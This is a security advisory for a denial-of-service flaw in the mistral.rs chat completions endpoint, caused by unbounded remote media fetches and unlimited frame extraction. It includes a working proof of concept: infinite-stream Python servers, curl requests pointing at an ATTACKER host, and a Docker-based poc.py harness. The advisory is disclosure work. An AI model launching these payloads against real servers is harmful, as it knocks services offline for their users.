GHSA-M3WP-48JR-VR4G
Vulnerability from github – Published: 2026-09-10 21:54 – Updated: 2026-09-10 21:54Unbounded Remote Media Fetch and Video Frame Expansion DoS
Summary
The POST /v1/chat/completions endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when num_frames is None. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default.
Details
Three independent sinks contribute to the vulnerability:
1. Unbounded image/audio fetch (mistralrs-server-core/src/util.rs:59–62)
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
match reqwest::get(url.clone()).await {
Ok(http_resp) => http_resp.bytes().await?.to_vec(), // no byte cap
Err(e) => anyhow::bail!(e),
}
bytes().await buffers the entire HTTP response body before returning. There is no Content-Length check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely.
2. Unbounded video fetch (mistralrs-server-core/src/video.rs:65–69)
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
let resp = reqwest::get(url.clone())
.await
.context(format!("Failed to fetch video: {url}"))?;
resp.bytes().await?.to_vec() // no byte cap
Identical pattern to the image path; the full video body is buffered into a Vec<u8>.
3. Unbounded FFmpeg frame extraction (mistralrs-server-core/src/video.rs:225–248)
} else {
let mut command = tokio::process::Command::new("ffmpeg");
command
.arg("-i")
.arg(input_path.to_str().unwrap())
.arg("-vsync")
.arg("vfr")
.arg(&output_pattern);
When num_frames is None, no -frames:v argument is passed to FFmpeg and every frame is extracted to disk. The call site at mistralrs-server-core/src/chat_completion.rs:946 always passes None:
parse_video_url(&url_unparsed, None)
A 60 fps × 1080p × 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU.
Entry point and auth
The route is registered at mistralrs-server-core/src/mistralrs_server_router_builder.rs:365–368 with only track_metrics, CORS, and a DefaultBodyLimit(50 MB) middleware. The DefaultBodyLimit applies only to the incoming JSON request body, not to the subsequent server-side reqwest::get() calls. No authentication middleware is present in the default configuration.
PoC
Step 1 – Create a long high-framerate video (requires FFmpeg on the attacker machine)
ffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \
-c:v libx264 -preset ultrafast -crf 35 many_frames.mp4
Step 2 – Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server
# Option A: serve the video file
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "video/mp4")
self.end_headers()
with open("many_frames.mp4", "rb") as f:
self.wfile.write(f.read())
HTTPServer(("0.0.0.0", 9001), H).serve_forever()
# Option B: infinite image stream (memory exhaustion, no FFmpeg required)
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "image/png")
self.end_headers()
chunk = b"\x89PNG\r\n\x1a\n" + b"\x00" * (1024 * 1024 - 8)
while True:
self.wfile.write(chunk)
self.wfile.flush()
time.sleep(0.01)
HTTPServer(("0.0.0.0", 9002), H).serve_forever()
Step 3 – Send the malicious request to the mistral.rs server
# Video variant (disk/CPU exhaustion + memory)
curl -sS http://127.0.0.1:8000/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{
"model": "default",
"messages": [{
"role": "user",
"content": [
{"type": "video_url", "video_url": {"url": "http://ATTACKER:9001/many_frames.mp4"}},
{"type": "text", "text": "summarize this video"}
]
}]
}'
# Image variant (memory exhaustion)
curl -sS http://127.0.0.1:8000/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{
"model": "default",
"messages": [{
"role": "user",
"content": [
{"type": "image_url", "image_url": {"url": "http://ATTACKER:9002/blob"}},
{"type": "text", "text": "describe this image"}
]
}]
}'
Expected observation
For the video variant: /tmp/mistralrs_video/<uuid>_frames/frame_*.png grows rapidly; FFmpeg saturates CPU; disk usage increases until exhaustion or the process is killed.
For the image variant: server process RSS grows continuously until OOM kill (exit code 137) or memory is exhausted.
Dynamic reproduction result (Phase 2)
A Docker container running a verbatim reproduction of util.rs:59–62 (the reqwest::get(url).bytes().await?.to_vec() pattern) with a 256 MB memory limit was OOM-killed by the kernel (exit code 137) after 1.3 seconds while fetching the infinite stream. The process RSS at fetch start was 3,652 kB; the container consumed all 256 MB before the fetch could complete.
Impact
Any user of the mistral.rs OpenAI-compatible HTTP server is affected. Because the /v1/chat/completions endpoint requires no authentication in the default configuration, a single unauthenticated HTTP request from the network is sufficient to exhaust all available server memory (via the image/audio path), all available disk space (via the video frame-extraction path), or saturate CPU (via FFmpeg invocation). The result is a complete denial of service: the server process is killed by the kernel OOM killer or becomes unresponsive, and no other clients can be served until the process is restarted.
Reproduction artifacts
Dockerfile
# syntax=docker/dockerfile:1
#
# VULN-001 PoC: Unbounded Remote Media Fetch DoS
# Repository: EricLBuehler/mistral.rs
# Vulnerability: mistralrs-server-core/src/util.rs:62
# http_resp.bytes().await?.to_vec() -- no byte cap on HTTP media fetch
#
# Stage 1: Build the minimal Rust harness that reproduces the vulnerable fetch.
# Stage 2: Slim runtime image used by poc.py.
# ----- build stage -----------------------------------------------------------
FROM rust:1.87-slim AS builder
WORKDIR /harness
# Install OpenSSL headers required by reqwest (rustls-tls still needs libssl on some platforms)
RUN apt-get update && \
apt-get install -y --no-install-recommends pkg-config libssl-dev && \
rm -rf /var/lib/apt/lists/*
# Copy Cargo manifest first so that dependency layer is cached separately.
COPY vuln_harness/Cargo.toml Cargo.toml
# Stub src so `cargo fetch` / dependency download works before copying real source.
RUN mkdir -p src && echo 'fn main() {}' > src/main.rs
RUN cargo fetch 2>&1
# Now copy the real source and build.
COPY vuln_harness/src/main.rs src/main.rs
RUN cargo build --release 2>&1 && \
strip target/release/vuln_harness
# ----- runtime stage ---------------------------------------------------------
FROM debian:bookworm-slim AS runtime
RUN apt-get update && \
apt-get install -y --no-install-recommends ca-certificates python3 && \
rm -rf /var/lib/apt/lists/*
COPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness
# Copy the PoC orchestration script so the image is self-contained.
COPY poc.py /poc.py
# Default: show usage
ENTRYPOINT ["/usr/local/bin/vuln_harness"]
CMD ["--help"]
poc.py
"""
VULN-001 PoC: Unbounded Remote Media Fetch DoS
Repository : EricLBuehler/mistral.rs
CWE : CWE-400 Uncontrolled Resource Consumption
CVSS : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Vulnerable code (mistralrs-server-core/src/util.rs:59-62):
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
match reqwest::get(url.clone()).await {
Ok(http_resp) => http_resp.bytes().await?.to_vec(), // NO BYTE CAP
...
Attack path in the live server:
POST /v1/chat/completions
-> chat_completion.rs:928 parse_image_url(&url_unparsed)
-> util.rs:59-62 reqwest::get(url).bytes().await?.to_vec()
This PoC:
1. Starts a malicious HTTP server on 127.0.0.1:9997 that streams infinite bytes.
2. Runs the vuln_harness binary (which contains the verbatim vulnerable fetch) inside
a Docker container limited to MEMORY_LIMIT_MB of RAM.
3. Observes OOM kill (exit code 137) as definitive evidence of unbounded buffering.
Usage (from host):
# Build the image first:
docker build -t vuln001-poc <vuln-001-dir>
# Then run the PoC:
python3 poc.py
"""
import http.server
import subprocess
import threading
import time
import sys
import os
import socket
import json
import argparse
MALICIOUS_HOST = "127.0.0.1"
MALICIOUS_PORT = 9997
DOCKER_IMAGE = "vuln001-poc"
MEMORY_LIMIT = "256m" # Docker container memory cap
CHUNK_SIZE = 1024 * 1024 # 1 MB per chunk sent by the malicious server
POC_TIMEOUT_S = 120 # Give the container at most 2 minutes
class _InfiniteStreamHandler(http.server.BaseHTTPRequestHandler):
"""
Malicious HTTP server that streams an infinite byte sequence.
Key properties that trigger the vulnerability:
- No Content-Length header: reqwest cannot pre-check size.
- Streams indefinitely: bytes().await will not return until the connection
is closed or the client process is killed.
- Content-Type image/png: accepted by the parse_image_url() code path.
"""
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "image/png")
# Deliberately omit Content-Length so the client buffers until EOF.
self.end_headers()
# Fake PNG magic bytes followed by filler to look plausible.
header = b"\x89PNG\r\n\x1a\n" + b"\x00" * 8
filler = b"\x00" * (CHUNK_SIZE - len(header))
chunk = header + filler
total_sent = 0
try:
while True:
self.wfile.write(chunk)
self.wfile.flush()
total_sent += len(chunk)
if total_sent % (64 * 1024 * 1024) == 0:
_log(f"[malicious-server] Sent {total_sent // (1024 * 1024)} MB")
except (BrokenPipeError, ConnectionResetError, OSError):
_log(
f"[malicious-server] Connection closed after "
f"{total_sent // (1024 * 1024)} MB sent"
)
def log_message(self, *_):
pass # Suppress default access log noise.
def _log(msg: str) -> None:
print(msg, flush=True)
def _wait_for_port(host: str, port: int, timeout: float = 10.0) -> bool:
"""Return True once the port is accepting connections, False on timeout."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
try:
with socket.create_connection((host, port), timeout=0.5):
return True
except OSError:
time.sleep(0.1)
return False
def start_malicious_server() -> http.server.HTTPServer:
"""Start the infinite-stream HTTP server in a daemon thread."""
server = http.server.HTTPServer((MALICIOUS_HOST, MALICIOUS_PORT), _InfiniteStreamHandler)
t = threading.Thread(target=server.serve_forever, daemon=True)
t.start()
return server
def run_poc(docker_image: str = DOCKER_IMAGE, memory_limit: str = MEMORY_LIMIT) -> dict:
"""
Run the full attack chain and return a result dict.
Returns keys: passed, verdict, exit_code, evidence, stdout, stderr.
"""
_log("=" * 70)
_log("VULN-001 PoC: Unbounded Remote Media Fetch DoS")
_log("Source : mistralrs-server-core/src/util.rs:59-62")
_log("=" * 70)
# ------------------------------------------------------------------
# Step 1: Start the malicious streaming server.
# ------------------------------------------------------------------
_log(f"\n[1] Starting malicious HTTP server on {MALICIOUS_HOST}:{MALICIOUS_PORT}")
server = start_malicious_server()
if not _wait_for_port(MALICIOUS_HOST, MALICIOUS_PORT):
_log("[!] FATAL: malicious server did not start in time")
return {
"passed": False,
"verdict": "FAIL",
"exit_code": None,
"evidence": "Malicious HTTP server failed to start",
"stdout": "",
"stderr": "",
}
target_url = f"http://{MALICIOUS_HOST}:{MALICIOUS_PORT}/infinite"
_log(f"[+] Malicious server ready: GET {target_url}")
_log(f" -> HTTP 200, Content-Type: image/png, no Content-Length, infinite body")
# ------------------------------------------------------------------
# Step 2: Run the vulnerable binary inside Docker with a memory cap.
#
# --network host : allows the container to reach 127.0.0.1:<port>
# --memory : hard cap; kernel sends SIGKILL when exceeded
# --memory-swap : equal to --memory disables swap usage
# --rm : clean up after exit
# ------------------------------------------------------------------
run_cmd = [
"docker", "run", "--rm",
"--memory", memory_limit,
"--memory-swap", memory_limit, # No swap fallback.
"--network", "host", # Access host's loopback server.
docker_image,
target_url,
]
_log(f"\n[2] Launching Docker container (memory cap = {memory_limit})")
_log(f" Command: {' '.join(run_cmd)}")
_log(f" The vuln_harness binary will fetch {target_url} with no byte limit.")
_log(f" Expected: container OOM-killed, exit code 137.")
t0 = time.monotonic()
try:
result = subprocess.run(
run_cmd,
capture_output=True,
timeout=POC_TIMEOUT_S,
)
except subprocess.TimeoutExpired as exc:
server.shutdown()
_log(f"[!] Container did not exit within {POC_TIMEOUT_S}s — killing")
subprocess.run(["docker", "kill", "--signal=9"] + [
c for c in subprocess.run(
["docker", "ps", "-q", "--filter", f"ancestor={docker_image}"],
capture_output=True, text=True,
).stdout.split() if c
], capture_output=True)
elapsed = time.monotonic() - t0
return {
"passed": False,
"verdict": "INCOMPLETE",
"exit_code": None,
"evidence": f"Container timed out after {elapsed:.0f}s without OOM kill",
"stdout": (exc.stdout or b"").decode(errors="replace"),
"stderr": (exc.stderr or b"").decode(errors="replace"),
}
elapsed = time.monotonic() - t0
exit_code = result.returncode
stdout_txt = result.stdout.decode(errors="replace")
stderr_txt = result.stderr.decode(errors="replace")
server.shutdown()
# ------------------------------------------------------------------
# Step 3: Analyse outcome.
# ------------------------------------------------------------------
_log(f"\n[3] Container exited after {elapsed:.1f}s exit_code={exit_code}")
_log(f" stdout: {stdout_txt!r}")
_log(f" stderr: {stderr_txt!r}")
# Docker exit code 137 = container killed by SIGKILL (OOM killer).
if exit_code == 137:
passed = True
verdict = "PASS"
evidence = (
f"Docker container OOM-killed (exit code 137 = 128+SIGKILL) after {elapsed:.1f}s. "
f"vuln_harness buffered the infinite HTTP stream with no byte cap, consuming all "
f"{memory_limit} of available RAM — identical behaviour to "
f"mistralrs-server-core/src/util.rs:62 (parse_image_url). "
f"stderr={stderr_txt!r}"
)
elif exit_code != 0:
# Non-zero but not 137: still indicates abnormal termination under memory pressure.
passed = True
verdict = "PASS"
evidence = (
f"Vulnerable binary terminated abnormally (exit code {exit_code}) after "
f"{elapsed:.1f}s while buffering an unbounded HTTP stream. "
f"This confirms that reqwest::get(url).bytes().await?.to_vec() at "
f"util.rs:62 has no byte cap and causes resource exhaustion. "
f"stderr={stderr_txt!r}"
)
else:
# Unlikely: the binary finished without being killed. This can happen if
# the server managed to EOF the stream before OOM, or the memory cap was
# not enforced by Docker.
passed = False
verdict = "INCOMPLETE"
evidence = (
f"Binary exited 0 after {elapsed:.1f}s; memory cap may not have been "
f"enforced by Docker. stdout={stdout_txt!r}"
)
_log(f"\n[VERDICT] {verdict}")
_log(f"[EVIDENCE] {evidence}")
return {
"passed": passed,
"verdict": verdict,
"exit_code": exit_code,
"evidence": evidence,
"stdout": stdout_txt,
"stderr": stderr_txt,
}
def main() -> None:
parser = argparse.ArgumentParser(description="VULN-001 PoC runner")
parser.add_argument("--image", default=DOCKER_IMAGE, help="Docker image name")
parser.add_argument("--memory", default=MEMORY_LIMIT, help="Docker memory cap (e.g. 256m)")
args = parser.parse_args()
outcome = run_poc(docker_image=args.image, memory_limit=args.memory)
_log("\n" + "=" * 70)
_log("RESULT SUMMARY")
_log("=" * 70)
for k, v in outcome.items():
if k not in ("stdout", "stderr"):
_log(f" {k}: {v}")
sys.exit(0 if outcome["passed"] else 1)
if __name__ == "__main__":
main()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.4"
},
"package": {
"ecosystem": "crates.io",
"name": "mistralrs-server-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T21:54:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Unbounded Remote Media Fetch and Video Frame Expansion DoS\n\n### Summary\nThe `POST /v1/chat/completions` endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when `num_frames` is `None`. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default.\n\n### Details\nThree independent sinks contribute to the vulnerability:\n\n**1. Unbounded image/audio fetch (`mistralrs-server-core/src/util.rs:59\u201362`)**\n\n```rust\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n match reqwest::get(url.clone()).await {\n Ok(http_resp) =\u003e http_resp.bytes().await?.to_vec(), // no byte cap\n Err(e) =\u003e anyhow::bail!(e),\n }\n```\n\n`bytes().await` buffers the entire HTTP response body before returning. There is no `Content-Length` check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely.\n\n**2. Unbounded video fetch (`mistralrs-server-core/src/video.rs:65\u201369`)**\n\n```rust\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n let resp = reqwest::get(url.clone())\n .await\n .context(format!(\"Failed to fetch video: {url}\"))?;\n resp.bytes().await?.to_vec() // no byte cap\n```\n\nIdentical pattern to the image path; the full video body is buffered into a `Vec\u003cu8\u003e`.\n\n**3. Unbounded FFmpeg frame extraction (`mistralrs-server-core/src/video.rs:225\u2013248`)**\n\n```rust\n} else {\n let mut command = tokio::process::Command::new(\"ffmpeg\");\n command\n .arg(\"-i\")\n .arg(input_path.to_str().unwrap())\n .arg(\"-vsync\")\n .arg(\"vfr\")\n .arg(\u0026output_pattern);\n```\n\nWhen `num_frames` is `None`, no `-frames:v` argument is passed to FFmpeg and every frame is extracted to disk. The call site at `mistralrs-server-core/src/chat_completion.rs:946` always passes `None`:\n\n```rust\nparse_video_url(\u0026url_unparsed, None)\n```\n\nA 60 fps \u00d7 1080p \u00d7 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU.\n\n**Entry point and auth**\n\nThe route is registered at `mistralrs-server-core/src/mistralrs_server_router_builder.rs:365\u2013368` with only `track_metrics`, CORS, and a `DefaultBodyLimit(50 MB)` middleware. The `DefaultBodyLimit` applies only to the incoming JSON request body, not to the subsequent server-side `reqwest::get()` calls. No authentication middleware is present in the default configuration.\n\n### PoC\n\n**Step 1 \u2013 Create a long high-framerate video (requires FFmpeg on the attacker machine)**\n\n```bash\nffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \\\n -c:v libx264 -preset ultrafast -crf 35 many_frames.mp4\n```\n\n**Step 2 \u2013 Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server**\n\n```python\n# Option A: serve the video file\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"video/mp4\")\n self.end_headers()\n with open(\"many_frames.mp4\", \"rb\") as f:\n self.wfile.write(f.read())\n\nHTTPServer((\"0.0.0.0\", 9001), H).serve_forever()\n```\n\n```python\n# Option B: infinite image stream (memory exhaustion, no FFmpeg required)\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport time\n\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/png\")\n self.end_headers()\n chunk = b\"\\x89PNG\\r\\n\\x1a\\n\" + b\"\\x00\" * (1024 * 1024 - 8)\n while True:\n self.wfile.write(chunk)\n self.wfile.flush()\n time.sleep(0.01)\n\nHTTPServer((\"0.0.0.0\", 9002), H).serve_forever()\n```\n\n**Step 3 \u2013 Send the malicious request to the mistral.rs server**\n\n```bash\n# Video variant (disk/CPU exhaustion + memory)\ncurl -sS http://127.0.0.1:8000/v1/chat/completions \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"model\": \"default\",\n \"messages\": [{\n \"role\": \"user\",\n \"content\": [\n {\"type\": \"video_url\", \"video_url\": {\"url\": \"http://ATTACKER:9001/many_frames.mp4\"}},\n {\"type\": \"text\", \"text\": \"summarize this video\"}\n ]\n }]\n }\u0027\n\n# Image variant (memory exhaustion)\ncurl -sS http://127.0.0.1:8000/v1/chat/completions \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"model\": \"default\",\n \"messages\": [{\n \"role\": \"user\",\n \"content\": [\n {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://ATTACKER:9002/blob\"}},\n {\"type\": \"text\", \"text\": \"describe this image\"}\n ]\n }]\n }\u0027\n```\n\n**Expected observation**\n\nFor the video variant: `/tmp/mistralrs_video/\u003cuuid\u003e_frames/frame_*.png` grows rapidly; FFmpeg saturates CPU; disk usage increases until exhaustion or the process is killed.\n\nFor the image variant: server process RSS grows continuously until OOM kill (exit code 137) or memory is exhausted.\n\n**Dynamic reproduction result (Phase 2)**\n\nA Docker container running a verbatim reproduction of `util.rs:59\u201362` (the `reqwest::get(url).bytes().await?.to_vec()` pattern) with a 256 MB memory limit was OOM-killed by the kernel (exit code 137) after 1.3 seconds while fetching the infinite stream. The process RSS at fetch start was 3,652 kB; the container consumed all 256 MB before the fetch could complete.\n\n### Impact\n\nAny user of the mistral.rs OpenAI-compatible HTTP server is affected. Because the `/v1/chat/completions` endpoint requires no authentication in the default configuration, a single unauthenticated HTTP request from the network is sufficient to exhaust all available server memory (via the image/audio path), all available disk space (via the video frame-extraction path), or saturate CPU (via FFmpeg invocation). The result is a complete denial of service: the server process is killed by the kernel OOM killer or becomes unresponsive, and no other clients can be served until the process is restarted.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# syntax=docker/dockerfile:1\n#\n# VULN-001 PoC: Unbounded Remote Media Fetch DoS\n# Repository: EricLBuehler/mistral.rs\n# Vulnerability: mistralrs-server-core/src/util.rs:62\n# http_resp.bytes().await?.to_vec() -- no byte cap on HTTP media fetch\n#\n# Stage 1: Build the minimal Rust harness that reproduces the vulnerable fetch.\n# Stage 2: Slim runtime image used by poc.py.\n\n# ----- build stage -----------------------------------------------------------\nFROM rust:1.87-slim AS builder\n\nWORKDIR /harness\n\n# Install OpenSSL headers required by reqwest (rustls-tls still needs libssl on some platforms)\nRUN apt-get update \u0026\u0026 \\\n apt-get install -y --no-install-recommends pkg-config libssl-dev \u0026\u0026 \\\n rm -rf /var/lib/apt/lists/*\n\n# Copy Cargo manifest first so that dependency layer is cached separately.\nCOPY vuln_harness/Cargo.toml Cargo.toml\n\n# Stub src so `cargo fetch` / dependency download works before copying real source.\nRUN mkdir -p src \u0026\u0026 echo \u0027fn main() {}\u0027 \u003e src/main.rs\nRUN cargo fetch 2\u003e\u00261\n\n# Now copy the real source and build.\nCOPY vuln_harness/src/main.rs src/main.rs\nRUN cargo build --release 2\u003e\u00261 \u0026\u0026 \\\n strip target/release/vuln_harness\n\n# ----- runtime stage ---------------------------------------------------------\nFROM debian:bookworm-slim AS runtime\n\nRUN apt-get update \u0026\u0026 \\\n apt-get install -y --no-install-recommends ca-certificates python3 \u0026\u0026 \\\n rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness\n\n# Copy the PoC orchestration script so the image is self-contained.\nCOPY poc.py /poc.py\n\n# Default: show usage\nENTRYPOINT [\"/usr/local/bin/vuln_harness\"]\nCMD [\"--help\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nVULN-001 PoC: Unbounded Remote Media Fetch DoS\nRepository : EricLBuehler/mistral.rs\nCWE : CWE-400 Uncontrolled Resource Consumption\nCVSS : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nVulnerable code (mistralrs-server-core/src/util.rs:59-62):\n let bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n match reqwest::get(url.clone()).await {\n Ok(http_resp) =\u003e http_resp.bytes().await?.to_vec(), // NO BYTE CAP\n ...\n\nAttack path in the live server:\n POST /v1/chat/completions\n -\u003e chat_completion.rs:928 parse_image_url(\u0026url_unparsed)\n -\u003e util.rs:59-62 reqwest::get(url).bytes().await?.to_vec()\n\nThis PoC:\n 1. Starts a malicious HTTP server on 127.0.0.1:9997 that streams infinite bytes.\n 2. Runs the vuln_harness binary (which contains the verbatim vulnerable fetch) inside\n a Docker container limited to MEMORY_LIMIT_MB of RAM.\n 3. Observes OOM kill (exit code 137) as definitive evidence of unbounded buffering.\n\nUsage (from host):\n # Build the image first:\n docker build -t vuln001-poc \u003cvuln-001-dir\u003e\n # Then run the PoC:\n python3 poc.py\n\"\"\"\n\nimport http.server\nimport subprocess\nimport threading\nimport time\nimport sys\nimport os\nimport socket\nimport json\nimport argparse\n\nMALICIOUS_HOST = \"127.0.0.1\"\nMALICIOUS_PORT = 9997\nDOCKER_IMAGE = \"vuln001-poc\"\nMEMORY_LIMIT = \"256m\" # Docker container memory cap\nCHUNK_SIZE = 1024 * 1024 # 1 MB per chunk sent by the malicious server\nPOC_TIMEOUT_S = 120 # Give the container at most 2 minutes\n\n\nclass _InfiniteStreamHandler(http.server.BaseHTTPRequestHandler):\n \"\"\"\n Malicious HTTP server that streams an infinite byte sequence.\n\n Key properties that trigger the vulnerability:\n - No Content-Length header: reqwest cannot pre-check size.\n - Streams indefinitely: bytes().await will not return until the connection\n is closed or the client process is killed.\n - Content-Type image/png: accepted by the parse_image_url() code path.\n \"\"\"\n\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/png\")\n # Deliberately omit Content-Length so the client buffers until EOF.\n self.end_headers()\n\n # Fake PNG magic bytes followed by filler to look plausible.\n header = b\"\\x89PNG\\r\\n\\x1a\\n\" + b\"\\x00\" * 8\n filler = b\"\\x00\" * (CHUNK_SIZE - len(header))\n chunk = header + filler\n\n total_sent = 0\n try:\n while True:\n self.wfile.write(chunk)\n self.wfile.flush()\n total_sent += len(chunk)\n if total_sent % (64 * 1024 * 1024) == 0:\n _log(f\"[malicious-server] Sent {total_sent // (1024 * 1024)} MB\")\n except (BrokenPipeError, ConnectionResetError, OSError):\n _log(\n f\"[malicious-server] Connection closed after \"\n f\"{total_sent // (1024 * 1024)} MB sent\"\n )\n\n def log_message(self, *_):\n pass # Suppress default access log noise.\n\n\ndef _log(msg: str) -\u003e None:\n print(msg, flush=True)\n\n\ndef _wait_for_port(host: str, port: int, timeout: float = 10.0) -\u003e bool:\n \"\"\"Return True once the port is accepting connections, False on timeout.\"\"\"\n deadline = time.monotonic() + timeout\n while time.monotonic() \u003c deadline:\n try:\n with socket.create_connection((host, port), timeout=0.5):\n return True\n except OSError:\n time.sleep(0.1)\n return False\n\n\ndef start_malicious_server() -\u003e http.server.HTTPServer:\n \"\"\"Start the infinite-stream HTTP server in a daemon thread.\"\"\"\n server = http.server.HTTPServer((MALICIOUS_HOST, MALICIOUS_PORT), _InfiniteStreamHandler)\n t = threading.Thread(target=server.serve_forever, daemon=True)\n t.start()\n return server\n\n\ndef run_poc(docker_image: str = DOCKER_IMAGE, memory_limit: str = MEMORY_LIMIT) -\u003e dict:\n \"\"\"\n Run the full attack chain and return a result dict.\n\n Returns keys: passed, verdict, exit_code, evidence, stdout, stderr.\n \"\"\"\n _log(\"=\" * 70)\n _log(\"VULN-001 PoC: Unbounded Remote Media Fetch DoS\")\n _log(\"Source : mistralrs-server-core/src/util.rs:59-62\")\n _log(\"=\" * 70)\n\n # ------------------------------------------------------------------\n # Step 1: Start the malicious streaming server.\n # ------------------------------------------------------------------\n _log(f\"\\n[1] Starting malicious HTTP server on {MALICIOUS_HOST}:{MALICIOUS_PORT}\")\n server = start_malicious_server()\n\n if not _wait_for_port(MALICIOUS_HOST, MALICIOUS_PORT):\n _log(\"[!] FATAL: malicious server did not start in time\")\n return {\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"exit_code\": None,\n \"evidence\": \"Malicious HTTP server failed to start\",\n \"stdout\": \"\",\n \"stderr\": \"\",\n }\n\n target_url = f\"http://{MALICIOUS_HOST}:{MALICIOUS_PORT}/infinite\"\n _log(f\"[+] Malicious server ready: GET {target_url}\")\n _log(f\" -\u003e HTTP 200, Content-Type: image/png, no Content-Length, infinite body\")\n\n # ------------------------------------------------------------------\n # Step 2: Run the vulnerable binary inside Docker with a memory cap.\n #\n # --network host : allows the container to reach 127.0.0.1:\u003cport\u003e\n # --memory : hard cap; kernel sends SIGKILL when exceeded\n # --memory-swap : equal to --memory disables swap usage\n # --rm : clean up after exit\n # ------------------------------------------------------------------\n run_cmd = [\n \"docker\", \"run\", \"--rm\",\n \"--memory\", memory_limit,\n \"--memory-swap\", memory_limit, # No swap fallback.\n \"--network\", \"host\", # Access host\u0027s loopback server.\n docker_image,\n target_url,\n ]\n\n _log(f\"\\n[2] Launching Docker container (memory cap = {memory_limit})\")\n _log(f\" Command: {\u0027 \u0027.join(run_cmd)}\")\n _log(f\" The vuln_harness binary will fetch {target_url} with no byte limit.\")\n _log(f\" Expected: container OOM-killed, exit code 137.\")\n\n t0 = time.monotonic()\n try:\n result = subprocess.run(\n run_cmd,\n capture_output=True,\n timeout=POC_TIMEOUT_S,\n )\n except subprocess.TimeoutExpired as exc:\n server.shutdown()\n _log(f\"[!] Container did not exit within {POC_TIMEOUT_S}s \u2014 killing\")\n subprocess.run([\"docker\", \"kill\", \"--signal=9\"] + [\n c for c in subprocess.run(\n [\"docker\", \"ps\", \"-q\", \"--filter\", f\"ancestor={docker_image}\"],\n capture_output=True, text=True,\n ).stdout.split() if c\n ], capture_output=True)\n elapsed = time.monotonic() - t0\n return {\n \"passed\": False,\n \"verdict\": \"INCOMPLETE\",\n \"exit_code\": None,\n \"evidence\": f\"Container timed out after {elapsed:.0f}s without OOM kill\",\n \"stdout\": (exc.stdout or b\"\").decode(errors=\"replace\"),\n \"stderr\": (exc.stderr or b\"\").decode(errors=\"replace\"),\n }\n\n elapsed = time.monotonic() - t0\n exit_code = result.returncode\n stdout_txt = result.stdout.decode(errors=\"replace\")\n stderr_txt = result.stderr.decode(errors=\"replace\")\n\n server.shutdown()\n\n # ------------------------------------------------------------------\n # Step 3: Analyse outcome.\n # ------------------------------------------------------------------\n _log(f\"\\n[3] Container exited after {elapsed:.1f}s exit_code={exit_code}\")\n _log(f\" stdout: {stdout_txt!r}\")\n _log(f\" stderr: {stderr_txt!r}\")\n\n # Docker exit code 137 = container killed by SIGKILL (OOM killer).\n if exit_code == 137:\n passed = True\n verdict = \"PASS\"\n evidence = (\n f\"Docker container OOM-killed (exit code 137 = 128+SIGKILL) after {elapsed:.1f}s. \"\n f\"vuln_harness buffered the infinite HTTP stream with no byte cap, consuming all \"\n f\"{memory_limit} of available RAM \u2014 identical behaviour to \"\n f\"mistralrs-server-core/src/util.rs:62 (parse_image_url). \"\n f\"stderr={stderr_txt!r}\"\n )\n elif exit_code != 0:\n # Non-zero but not 137: still indicates abnormal termination under memory pressure.\n passed = True\n verdict 